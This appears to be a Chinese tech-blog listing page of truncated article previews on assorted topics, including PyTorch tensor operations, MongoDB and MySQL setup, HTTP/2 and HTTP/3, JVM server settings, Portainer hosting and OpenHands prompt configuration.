虚拟专用网VPN通过建立在公共网络上的重要通道(1分),实现远程用户、分支机构、业务伙伴等与机构总部网络的安全连接,从而构建针对特定组织机构的专用网络,实现与专用网络类似的功能,可以达到PN安全性的目的,同时成本相对要低很多(…...
电脑风扇声音大怎么办? 原因及解决方法
电脑风扇是电脑的重要组件之一,它的作用是为电脑的各个部件提供冷却,防止电脑过热。然而,有时候我们会发现电脑风扇的声音特别大,不仅影响我们的使用体验,也可能是电脑出现了一些问题。那么,电脑风扇声音大…...
【Pytorch】unsqueeze与expand结合使用
示例代码 mask mask.unsqueeze(1).expand(-1, N, -1, -1)unsqueeze(1) 操作 unsqueeze是一个在指定位置增加维度的方法。在这行代码中,mask.unsqueeze(1)的作用是在mask张量的第二个维度(索引为1的位置)上插入一个新的维度。 例如…...
基于 Spring Boot 和 Vue.js 的全栈购物平台开发实践
在现代 Web 开发中,前后端分离的架构已经成为主流。本文将分享如何使用 Spring Boot 和 Vue.js构建一个全栈购物平台,涵盖从后端 API 开发到前端页面实现的完整流程。 1. 技术栈介绍 后端技术栈 JDK 1.8:稳定且广泛使用的 Java 版本。 Spring…...
MongoDB单机版安装
MongoDB单机版安装 在CentOS Linux release 7.9.2009 (Core)下安装MongoDB的步骤如下: 1 创建用户和组(可选,根据需要) 如果您希望以非root用户运行MongoDB服务,可以创建一个专用的用户和组。 groupadd mongodb us…...
HTTP/2 与 HTTP/3 的新特性
一、引言 在互联网蓬勃发展的浪潮中,HTTP 协议作为网络通信的基石,历经多次迭代升级,不断推动着网络传输效率与性能的提升。从最初简单的 HTTP/0.9 版本,仅能实现基本的文本传输,到 HTTP/1.0 引入多种请求方法与头部信…...
【软件开发过程管理规范】需求管理,需求分析,设计开发管理,测试管理(Word)
一、需求管理规程 1 简介 2 过程总体描述 2.1 过程概述 2.2 过程流程图 3 过程元素描述 3.1 准备阶段 3.2 需求调研 3.3 需求分析 软件开发人员及用户往往容易忽略信息沟通,这导致软件开发出来后不能很好地满足用户的需要,从而造成返工。而返工不仅在技术…...
mysql的主从配置
#mysql数据库 #主从 MySQL数据库主从配置 1.MySQL主从介绍 MySQL 主从又叫做 Replication、AB 复制。简单讲就是 A 和 B 两台机器做主 从后,在 A 上写数据,另外一台 B 也会跟着写数据,两者数据实时同步的。 MySQL 主从是基于 binlog 的&…...
debian中apt的配置与解析
引言 在系统使用过程中,我们可能会遭遇 apt update 操作出现问题,或者 apt upgrade 速度迟缓的情况。这往往是由于所使用软件源本身存在诸如服务器性能不佳、维护不及时等质量问题,同时,软件源服务器与我们所处地理位置的距离较远…...
Python Pyside6 加Sqlite3 写一个 通用 进销存 系统 初型
图: 说明: 进销存管理系统说明文档 功能模块 1. 首页 显示关键业务数据商品总数供应商总数本月采购金额本月销售金额显示预警信息库存不足预警待付款采购单待收款销售单2. 商品管理 商品信息维护商品编码(唯一标识)商品名称规格型号单位分类进货价销售价库存数量预警…...
Java工程结构:服务器规约(JVM 碰到 OOM 场景时输出 dump 信息、设置tomcat的 JVM 的内存参数、了解服务平均耗时)
文章目录 I 调用远程操作必须有超时设置。II 推荐了解每个服务大致的平均耗时JVM 的 Xms 和 Xmx 设置一样大小的内存容量让 JVM 碰到 OOM 场景时输出 dump 信息调大服务器所支持的最大文件句柄数(File Descriptor,简写为 fd)高并发服务器建议调小 TCP 协议的 time_wait 超时…...
Spring经典面试题
在Spring的面试中,经常会被问到一些经典的问题,这些问题涵盖了Spring的基本概念、核心特性、工作原理以及在实际项目中的应用。以下是一些Spring面试中最经典的题目: 一、Spring概述 什么是Spring框架?Spring框架有哪些主要模块&…...
以太网实战AD采集上传上位机——FPGA学习笔记27
一、设计目标 使用FPGA实现AD模块驱动采集模拟电压,通过以太网上传到电脑上位机。 二、框架设计 数据位宽转换模块(ad_10bit_to_16bit):为了方便数据传输,数据位宽转换模块实现了将十位的 AD 数据转换成十六位&#…...
数据结构与算法整理复习(一):数据结构概念与线性表
目录 第一章:绪论 1.1 数据结构的基本概念 1.2 算法与算法评价 第二章:线性表 2.1 线性表的定义和基本操作 2.2 线性表的顺序表示(顺序表) 应用题 2.3 线性表的链式表达(链表) 2.3.1 单链表 2.3.2…...
虚幻商城 Fab 免费资产自动化入库
文章目录 一、背景二、实现效果展示三、实现自动化入库一、背景 上一次写了个这篇文章 虚幻商城 Quixel 免费资产一键入库,根据这个构想,便决定将范围扩大,使 Fab 商城的所有的免费资产自动化入库,是所有!所有! 上一篇文章是根据下图这部分资产一键入库: 而这篇文章则…...
TCP Window Full是怎么来的
wireshark查看包时,会看到TCP Window Full,总结下它的特点: 1. Sender会显示 TCP Window Full 2. “Sender已发出,但,Receiver尚未ack的字节”,即Sender的 bytes in flights 3. Sender的 bytes in fligh…...
高效建站指南:通过Portainer快速搭建自己的在线网站
文章目录 前言1. 安装Portainer1.1 访问Portainer Web界面 2. 使用Portainer创建Nginx容器3. 将Web静态站点实现公网访问4. 配置Web站点公网访问地址4.1公网访问Web站点 5. 固定Web静态站点公网地址6. 固定公网地址访问Web静态站点 前言 Portainer是一个开源的Docker轻量级可视…...
“UniApp的音频播放——点击视频进入空白+解决视频播放器切换视频时一直加载的问题”——video.js、video-js.css
今天,又解决了一个单子“UniApp的音频播放——点击视频进入空白解决视频播放器切换视频时一直加载的问题” 一、问题描述 在开发一个基于 video.js 的视频播放器时,用户通过上下滑动切换视频时,视频一直处于加载状态,无法正常播放…...
如何让openhands始终输出中文?
在本地创建一个文件./user_prompt.j2 添加一行 Always respond in 中文你可以直接: echo "Always respond in 中文" > ./user_prompt.j2使用官方文档的docker命令启动容器时-v挂载一个文件/app/openhands/agenthub/codeact_agent/prompts/user_promp…...